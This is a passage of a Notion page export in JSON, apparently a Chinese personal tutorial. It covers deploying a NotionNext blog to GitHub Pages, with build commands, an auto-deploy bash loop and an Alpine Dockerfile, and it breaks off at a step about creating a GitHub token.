自动化整合"]]},"created_time":1705643448511,"last_edited_time":1705648469373,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"4739ebdd-704b-4019-a6d7-bad1179eec4b":{"value":{"id":"4739ebdd-704b-4019-a6d7-bad1179eec4b","type":"callout","properties":{"title":[["之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。\n\nNotion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了\n\n最近发现NotionNext,但需要"],["Vercel",[["b"]]],["部署,还需要自己映射域名\n所以想着用xx"],[".github.io",[["a","https://bothsavage.github.io/"]]],["域名,优雅又方便"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"c2d6e2c5-296b-475c-b2d8-7723d212a732","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082652,"last_edited_time":1705647607637,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"c2d6e2c5-296b-475c-b2d8-7723d212a732"}},"6f60deab-d63b-4de5-915f-341292360b4f":{"value":{"id":"6f60deab-d63b-4de5-915f-341292360b4f","type":"header","properties":{"title":[["NotionNext搭建"]]},"format":{"copied_from_pointer":{"id":"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082654,"last_edited_time":1705775512615,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a"}},"bf8e4149-2f5d-4635-9ced-58c144d4eb4e":{"value":{"id":"bf8e4149-2f5d-4635-9ced-58c144d4eb4e","type":"sub_header","properties":{"title":[["官方文档"]]},"created_time":1705639713353,"last_edited_time":1705644676899,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"04317d6a-b950-4a37-9367-8aba1c1d7cfc":{"value":{"id":"04317d6a-b950-4a37-9367-8aba1c1d7cfc","type":"embed","properties":{"source":[["https://docs.tangly1024.com/about"]]},"format":{"block_height":320},"created_time":1705641722077,"last_edited_time":1705643560371,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f952f956-265d-4035-ab19-a864c14fe426":{"value":{"id":"f952f956-265d-4035-ab19-a864c14fe426","type":"sub_header","properties":{"title":[["拷贝模板"]]},"created_time":1705639713353,"last_edited_time":1705644678428,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"841e111e-a8b9-4ca5-876f-a9b5c7599d03":{"value":{"id":"841e111e-a8b9-4ca5-876f-a9b5c7599d03","type":"text","properties":{"title":[["https://www.notion.so/bothsavage/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d\u0026pvs=4",[["a","https://www.notion.so/bothsavage/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d\u0026pvs=4"]]]]},"created_time":1705639856713,"last_edited_time":1705640320698,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"02ab3b86-7800-4aa6-9e9e-415905ef32a5":{"value":{"id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","type":"collection_view_page","content":["254eced8-9cba-4f90-9990-a885bd567dd0"],"view_ids":["b7eb2157-2022-4ca5-827b-faa5ef82cf2d","5010afdb-92b5-4f49-958b-0b8c900d6190","a80c22ef-8b56-410d-af06-07615c5f2654","e17348d8-5a80-4f02-813c-025b790d16c8"],"collection_id":"4379bc14-5d22-453b-a153-12639616fc01","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"4379bc14-5d22-453b-a153-12639616fc01","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"copied_from_pointer":{"id":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"27074aef-7216-41ed-baef-d9b53addd870"},{"role":"reader","type":"public_permission","added_timestamp":1681797627522}],"created_time":1636081968996,"last_edited_time":1711250944168,"parent_id":"cbcf52f3-6400-43ff-8a25-eb7ccd5eb694","parent_table":"block","alive":true,"copied_from":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","file_ids":["abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"]}},"e4b36691-3791-48d7-a70f-660033231f7d":{"value":{"id":"e4b36691-3791-48d7-a70f-660033231f7d","type":"image","properties":{"size":[["115.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/24c70ece-4e97-4f0d-a322-ab31a62f3f62/Untitled.png"]]},"format":{"block_width":481,"block_height":408,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/24c70ece-4e97-4f0d-a322-ab31a62f3f62/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.8482328482328483,"block_preserve_scale":true},"created_time":1705639889629,"last_edited_time":1705639893237,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["24c70ece-4e97-4f0d-a322-ab31a62f3f62"]}},"c85383f1-52f2-4a78-8c63-4c3e26989def":{"value":{"id":"c85383f1-52f2-4a78-8c63-4c3e26989def","type":"sub_header","properties":{"title":[["分享到站外并且复制自己的pageId"]]},"created_time":1705639808992,"last_edited_time":1705644680829,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9dd5d166-27ab-4f04-a7c3-65410bae57b6":{"value":{"id":"9dd5d166-27ab-4f04-a7c3-65410bae57b6","type":"image","properties":{"size":[["176.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/46d9eea0-7578-4327-8ca7-c62bc14891af/Untitled.png"]]},"format":{"block_width":1144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/46d9eea0-7578-4327-8ca7-c62bc14891af/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.916083916083916,"block_preserve_scale":true},"created_time":1705639991519,"last_edited_time":1705639995396,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["46d9eea0-7578-4327-8ca7-c62bc14891af"]}},"7c70ce1a-054e-49ad-8af1-119e64032d58":{"value":{"id":"7c70ce1a-054e-49ad-8af1-119e64032d58","type":"text","created_time":1705639713353,"last_edited_time":1705640018566,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"ad4e6819-2bbc-40df-80f1-d1ee9ebecb15":{"value":{"id":"ad4e6819-2bbc-40df-80f1-d1ee9ebecb15","type":"text","properties":{"title":[["假如:pageId=12345",[["b"]]]]},"created_time":1705639713353,"last_edited_time":1705640073949,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"e33e5c7a-5bed-4eff-bd86-4bdb596d03b2":{"value":{"id":"e33e5c7a-5bed-4eff-bd86-4bdb596d03b2","type":"sub_header","properties":{"title":[["fork大佬的项目到自己GitHub上"]]},"created_time":1705639713353,"last_edited_time":1705644682620,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"4d0e9197-534f-4b33-9e93-95276591ddf9":{"value":{"id":"4d0e9197-534f-4b33-9e93-95276591ddf9","type":"external_object_instance","format":{"domain":"github.com","use_crdt":false,"original_url":"https://github.com/tangly1024/NotionNext"},"created_time":1705640132686,"last_edited_time":1705640132686,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"31ab52d0-3782-4e62-83ba-7e47d3d5366e":{"value":{"id":"31ab52d0-3782-4e62-83ba-7e47d3d5366e","type":"sub_header","properties":{"title":[["运行测试\u0026打包"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644689287,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"e3fcc0e1-db85-484c-b799-973358da5c15":{"value":{"id":"e3fcc0e1-db85-484c-b799-973358da5c15","type":"code","properties":{"title":[["#更改.env.local\nNOTION_PAGE_ID=12345\nVERCEL_ENV=production\n#本地测试一下\nyarn run dev\n#打包为静态资源\nyarn run build"]],"language":[["Bash"]]},"created_time":1705640174807,"last_edited_time":1710865635729,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"2992810d-657a-4ba9-9132-1351b3060bd5":{"value":{"id":"2992810d-657a-4ba9-9132-1351b3060bd5","type":"header","properties":{"title":[["仓库文件添加"]]},"created_time":1710865627825,"last_edited_time":1710865654101,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"3a1f742a-0d19-4590-8e61-2f948b5e7111":{"value":{"id":"3a1f742a-0d19-4590-8e61-2f948b5e7111","type":"code","properties":{"title":[["在github仓库中直接添加\n.nojekyll文件,避免static文件夹404"]],"language":[["JavaScript"]]},"created_time":1710865656400,"last_edited_time":1710865771155,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f7a5fdcf-9092-44ab-9842-57be93aed9ea":{"value":{"id":"f7a5fdcf-9092-44ab-9842-57be93aed9ea","type":"text","created_time":1710865754852,"last_edited_time":1710865754852,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"c1cc4548-3e10-4d0b-bbc4-e203ad30dd03":{"value":{"id":"c1cc4548-3e10-4d0b-bbc4-e203ad30dd03","type":"sub_header","properties":{"title":[["部署到GitPage"]]},"created_time":1705640400022,"last_edited_time":1710865643657,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f6edcd65-59b1-412b-90db-48a98653fa08":{"value":{"id":"f6edcd65-59b1-412b-90db-48a98653fa08","type":"code","properties":{"title":[["#上述静态资源输出目录为:~/NotionNext/out\n\n#GitPage搭建 略\n\n#拷贝out到本地GitPage仓库\ncp -rf ~/NotionNext/out/* /仓库名\n\n#切换到GitPage仓库,提交并推送\ncd /仓库名\ngit add * \ngit commmit -m \"sth\"  \ngit push\n\n#等待GitPage自动部署"]],"language":[["Bash"]]},"created_time":1705640523845,"last_edited_time":1705640727163,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"10e2b13c-bc4e-4e9e-bd87-54e52f3790ef":{"value":{"id":"10e2b13c-bc4e-4e9e-bd87-54e52f3790ef","type":"image","properties":{"size":[["94.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/d19ae0e1-5ceb-459d-8651-c84c52daa599/Untitled.png"]]},"format":{"block_width":1294,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/d19ae0e1-5ceb-459d-8651-c84c52daa599/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3516228748068006,"block_preserve_scale":true},"created_time":1705640723356,"last_edited_time":1705640727124,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["d19ae0e1-5ceb-459d-8651-c84c52daa599"]}},"b5e101f9-29ce-4cbe-9051-a455fbfa12ea":{"value":{"id":"b5e101f9-29ce-4cbe-9051-a455fbfa12ea","type":"text","created_time":1705640501612,"last_edited_time":1705643611219,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"5040c940-a117-4c50-9ed5-bd7dfc5c7a7c":{"value":{"id":"5040c940-a117-4c50-9ed5-bd7dfc5c7a7c","type":"header","properties":{"title":[["美化"]]},"created_time":1705640501612,"last_edited_time":1705775518801,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"12eb9707-d557-4a4c-9ee9-8423754c863c":{"value":{"id":"12eb9707-d557-4a4c-9ee9-8423754c863c","type":"sub_header","properties":{"title":[["更换标题"]]},"created_time":1705643871067,"last_edited_time":1705643993614,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"e0c24ed4-6466-40fb-9355-e77528efa546":{"value":{"id":"e0c24ed4-6466-40fb-9355-e77528efa546","type":"text","properties":{"title":[["打开自己的notion页面,找到配置中心,把要自定义的全改了"]]},"created_time":1705643896337,"last_edited_time":1705644073882,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"7c9fba5b-528b-4d18-b9f9-4d5d644bc7f4":{"value":{"id":"7c9fba5b-528b-4d18-b9f9-4d5d644bc7f4","type":"image","properties":{"size":[["76.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/89307af5-25fa-4a3c-aa99-3987bf270a76/Untitled.png"]]},"format":{"block_width":718,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/89307af5-25fa-4a3c-aa99-3987bf270a76/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.9415041782729805,"block_preserve_scale":true},"created_time":1705644063778,"last_edited_time":1705644067807,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["89307af5-25fa-4a3c-aa99-3987bf270a76"]}},"f68a55bb-51a5-407c-86fe-101b87a984a8":{"value":{"id":"f68a55bb-51a5-407c-86fe-101b87a984a8","type":"text","properties":{"title":[["打开notionNext工程目录,找到blog.config.js,把想改的全改了"]]},"created_time":1705643696638,"last_edited_time":1705644147378,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"fa8a068e-1ee7-43ac-9c27-50fb204ab1de":{"value":{"id":"fa8a068e-1ee7-43ac-9c27-50fb204ab1de","type":"image","properties":{"size":[["397.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f1ac2930-509b-4490-bf67-6c2ea549d176/Untitled.png"]]},"format":{"block_width":1748,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f1ac2930-509b-4490-bf67-6c2ea549d176/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7208237986270023,"block_preserve_scale":true},"created_time":1705644134200,"last_edited_time":1705644138423,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["f1ac2930-509b-4490-bf67-6c2ea549d176"]}},"c52418f1-f238-4e4f-92ae-676ea107de4f":{"value":{"id":"c52418f1-f238-4e4f-92ae-676ea107de4f","type":"text","created_time":1705643696638,"last_edited_time":1705644106044,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"7f2e7b2f-b461-4a91-808e-0fb77f22dc8a":{"value":{"id":"7f2e7b2f-b461-4a91-808e-0fb77f22dc8a","type":"sub_header","properties":{"title":[["自定义美化"]]},"created_time":1705644000462,"last_edited_time":1705644240301,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"a0844b1e-1198-4102-b122-6b3ea7184b02":{"value":{"id":"a0844b1e-1198-4102-b122-6b3ea7184b02","type":"quote","properties":{"title":[["我选择的是gitbook主题,年纪大了现在喜欢性冷淡风格的"]]},"created_time":1705644240299,"last_edited_time":1705644242684,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9aee9707-8be2-4297-b520-4bf625987555":{"value":{"id":"9aee9707-8be2-4297-b520-4bf625987555","type":"text","created_time":1705644198411,"last_edited_time":1705644314115,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"0b64a55d-bf95-4fa9-9e44-435a74b6794e":{"value":{"id":"0b64a55d-bf95-4fa9-9e44-435a74b6794e","type":"text","properties":{"title":[["默认启动头像是height=28px,拉伸变形了,修改global.css"]]},"created_time":1705644198411,"last_edited_time":1705644393048,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"e887f9e4-fd50-4a98-8df4-a188b79eca45":{"value":{"id":"e887f9e4-fd50-4a98-8df4-a188b79eca45","type":"image","properties":{"size":[["59.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b5af9148-c55d-46a4-87ac-9378594a4f2e/Untitled.png"]]},"format":{"block_width":934,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b5af9148-c55d-46a4-87ac-9378594a4f2e/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5438972162740899,"block_preserve_scale":true},"created_time":1705644309376,"last_edited_time":1705644312948,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["b5af9148-c55d-46a4-87ac-9378594a4f2e"]}},"3e8c7258-01bc-4109-8021-5d0dd9079b22":{"value":{"id":"3e8c7258-01bc-4109-8021-5d0dd9079b22","type":"text","created_time":1705644383541,"last_edited_time":1705644385322,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"56c7c669-d908-485a-b287-e3fb823d0efa":{"value":{"id":"56c7c669-d908-485a-b287-e3fb823d0efa","type":"text","properties":{"title":[["默认进来显示归档页面,注释gitbook主题下index.js部分代码,再修改config.js进来显示归档"]]},"created_time":1705644383541,"last_edited_time":1705644542897,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"5a7bd692-d0cb-44f6-a331-c41efd97ba46":{"value":{"id":"5a7bd692-d0cb-44f6-a331-c41efd97ba46","type":"image","properties":{"size":[["168.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/4e1ad663-0a35-4190-bf5a-2c6006c5c622/Untitled.png"]]},"format":{"block_width":1224,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/4e1ad663-0a35-4190-bf5a-2c6006c5c622/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7843137254901961,"block_preserve_scale":true},"created_time":1705644445776,"last_edited_time":1705644449255,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["4e1ad663-0a35-4190-bf5a-2c6006c5c622"]}},"b1dc3a62-10f2-4a17-a6b8-3cd3235f668c":{"value":{"id":"b1dc3a62-10f2-4a17-a6b8-3cd3235f668c","type":"image","properties":{"size":[["81.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/91a701b9-28fe-4646-b25c-9ef6fa4b1776/Untitled.png"]]},"format":{"block_width":1090,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/91a701b9-28fe-4646-b25c-9ef6fa4b1776/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45137614678899085,"block_preserve_scale":true},"created_time":1705644475072,"last_edited_time":1705644479010,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["91a701b9-28fe-4646-b25c-9ef6fa4b1776"]}},"6d6b97c1-1d36-4848-85cb-2759b1070f95":{"value":{"id":"6d6b97c1-1d36-4848-85cb-2759b1070f95","type":"text","created_time":1705640438204,"last_edited_time":1705644546135,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"4d2adebf-0523-4a9b-a0c1-cef677a2cdae":{"value":{"id":"4d2adebf-0523-4a9b-a0c1-cef677a2cdae","type":"text","properties":{"title":[["归档,分类,标签页面显示头像,同样修改gitbook主题下index.js部分代码"]]},"created_time":1705640438204,"last_edited_time":1705645054626,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"6375e8ed-e4d3-43d4-9758-396b026bc926":{"value":{"id":"6375e8ed-e4d3-43d4-9758-396b026bc926","type":"image","properties":{"size":[["94.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/288ad8f3-229e-469a-be3c-1af2c0d1a0a2/Untitled.png"]]},"format":{"block_width":2092,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/288ad8f3-229e-469a-be3c-1af2c0d1a0a2/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.2390057361376673,"block_preserve_scale":true},"created_time":1705644647465,"last_edited_time":1705644651496,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["288ad8f3-229e-469a-be3c-1af2c0d1a0a2"]}},"a872631e-d867-4905-8408-7ed0a3c02cc2":{"value":{"id":"a872631e-d867-4905-8408-7ed0a3c02cc2","type":"embed","format":{"block_width":1560,"block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.24871794871794872,"block_preserve_scale":true},"created_time":1705645874275,"last_edited_time":1705645877974,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["a3e1d405-4af3-4eee-8048-9ff34069c809"]}},"0174ca16-501d-463e-97f8-02d1068ae63f":{"value":{"id":"0174ca16-501d-463e-97f8-02d1068ae63f","type":"header","properties":{"title":[["自动化脚本编写"]]},"created_time":1705640438204,"last_edited_time":1705775523189,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f952144c-08c3-4adf-8362-682836167eab":{"value":{"id":"f952144c-08c3-4adf-8362-682836167eab","type":"quote","properties":{"title":[["思路:sh脚本编写以上命令,termilal自动运行脚本容易误杀,想着用docker容器,因为我电脑只要开着,docker一定在线。容器启动就自动运行这个脚本,容器挂载NotionNext和GitPage仓库,这样修改起来方便,如果有云服务器迁移也方便。\n还有每次export之前记住移除rm ./NotionNext/public/sitemap.xml这个文件"]]},"created_time":1705640861519,"last_edited_time":1710868443561,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"619521b6-6468-479f-aba9-26d165b1d416":{"value":{"id":"619521b6-6468-479f-aba9-26d165b1d416","type":"text","created_time":1705641186994,"last_edited_time":1705641187162,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f7c6f34a-1629-49e5-9609-3ea558b11f24":{"value":{"id":"f7c6f34a-1629-49e5-9609-3ea558b11f24","type":"sub_header","properties":{"title":[["目录结构"]]},"created_time":1705641186994,"last_edited_time":1705644700624,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1b3e5361-0df6-49c2-a40c-32f123fd9cfb":{"value":{"id":"1b3e5361-0df6-49c2-a40c-32f123fd9cfb","type":"image","properties":{"size":[["60.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/ee22b56c-17ec-4d0c-9fcf-cbe10548c4c0/Untitled.png"]]},"format":{"block_width":1458,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/ee22b56c-17ec-4d0c-9fcf-cbe10548c4c0/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.20713305898491083,"block_preserve_scale":true},"created_time":1705641184071,"last_edited_time":1705641187373,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["ee22b56c-17ec-4d0c-9fcf-cbe10548c4c0"]}},"4b330d96-2943-4e6f-b263-d060afecba84":{"value":{"id":"4b330d96-2943-4e6f-b263-d060afecba84","type":"sub_header","properties":{"title":[["deploy脚本"]]},"created_time":1705640195450,"last_edited_time":1705644701913,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"75edd45c-01b6-42ad-a356-af57465bba9b":{"value":{"id":"75edd45c-01b6-42ad-a356-af57465bba9b","type":"code","properties":{"title":[["#!/bin/bash\n\nwhile true\ndo\n  echo '开始部署:'+$(date '+%Y-%m-%d %H:%M:%S')\n\n  rm ./NotionNext/public/sitemap.xml\n\n  cd ./NotionNext\n  yarn export\n\n  cp -rf ./out/* ../bothsavage.github.io\n\n  cd ../bothsavage.github.io\n  time=$(date '+%Y-%m-%d %H:%M:%S')\n  git add *\n  git commit -a -m \"auto $time\"\n  git push\n  echo '结束部署:'+\"auto $time\"\n  cd ..\n\n\t#休息20分钟\n  sleep 1200\ndone"]],"language":[["Bash"]]},"created_time":1705641232739,"last_edited_time":1705641250155,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1614c8d3-bb33-4af5-8609-6cee2e2cda39":{"value":{"id":"1614c8d3-bb33-4af5-8609-6cee2e2cda39","type":"sub_header","properties":{"title":[["DokcerFile文件"]]},"created_time":1705640188050,"last_edited_time":1705644706664,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9370f961-ddc1-4a0c-910d-b79bc2250eac":{"value":{"id":"9370f961-ddc1-4a0c-910d-b79bc2250eac","type":"code","properties":{"title":[["# Use an official Alpine runtime as a parent image\nFROM alpine:latest\n\n# Install necessary tools\nRUN apk add --no-cache bash git yarn curl\n\n# Set the working directory in the container to /app\nWORKDIR /app\n\n# Copy the deploy.sh file from your host to your current location.\nCOPY deploy.sh .\n\n# Add execute permissions to your script\nRUN chmod +x deploy.sh\n\nRUN git config --global user.email \"xxxx@163.com\"\nRUN git config --global user.name \"xxxx\"\n\n# Run your script when the container launches\nCMD [\"./deploy.sh\"]"]],"language":[["Bash"]]},"created_time":1705641273320,"last_edited_time":1705641305121,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"063f1942-4cba-4357-80a4-09313a3f0d07":{"value":{"id":"063f1942-4cba-4357-80a4-09313a3f0d07","type":"sub_header","properties":{"title":[["准备容器内GitPage推送权限"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644938363,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"daedf0cf-3d86-4bb7-ad20-e11040afcae2":{"value":{"id":"daedf0cf-3d86-4bb7-ad20-e11040afcae2","type":"text","properties":{"title":[["去这个页面选择创建新的token"]]},"created_time":1705644913708,"last_edited_time":1705644933761,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1972b0e8-433f-4097-97ab-64cc8d19a50e":{"value":{"id":"1972b0e8-433f-4097-97ab-64cc8d19a50e","type":"text","properties":{"title":[["https://github.com/settings/tokens/new",[["a","https://github.com/settings/tokens/new"]]]]},"created_time":1705641565410,"last_edited_time":1705644910607,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b8d7b2b2-fde3-4010-93a0-7af0f879685e":{"value":{"id":"b8d7b2b2-fde3-4010-93a0-7af0f879685e","type":"text","properties":{"title":[["勾选如下"]]},"created_time":1705644958128,"last_edited_time":1705644964116,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"78c44322-791d-4126-bc4f-2ea1e4fac3e3":{"value":{"id":"78c44322-791d-4126-bc4f-2ea1e4fac3e3","type":"image","properties":{"size":[["84.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/be1374b0-9f64-4d38-b843-d8eb0b388bed/Untitled.png"]]},"format":{"block_width":908,"display_source":"https://prod-files-secure.s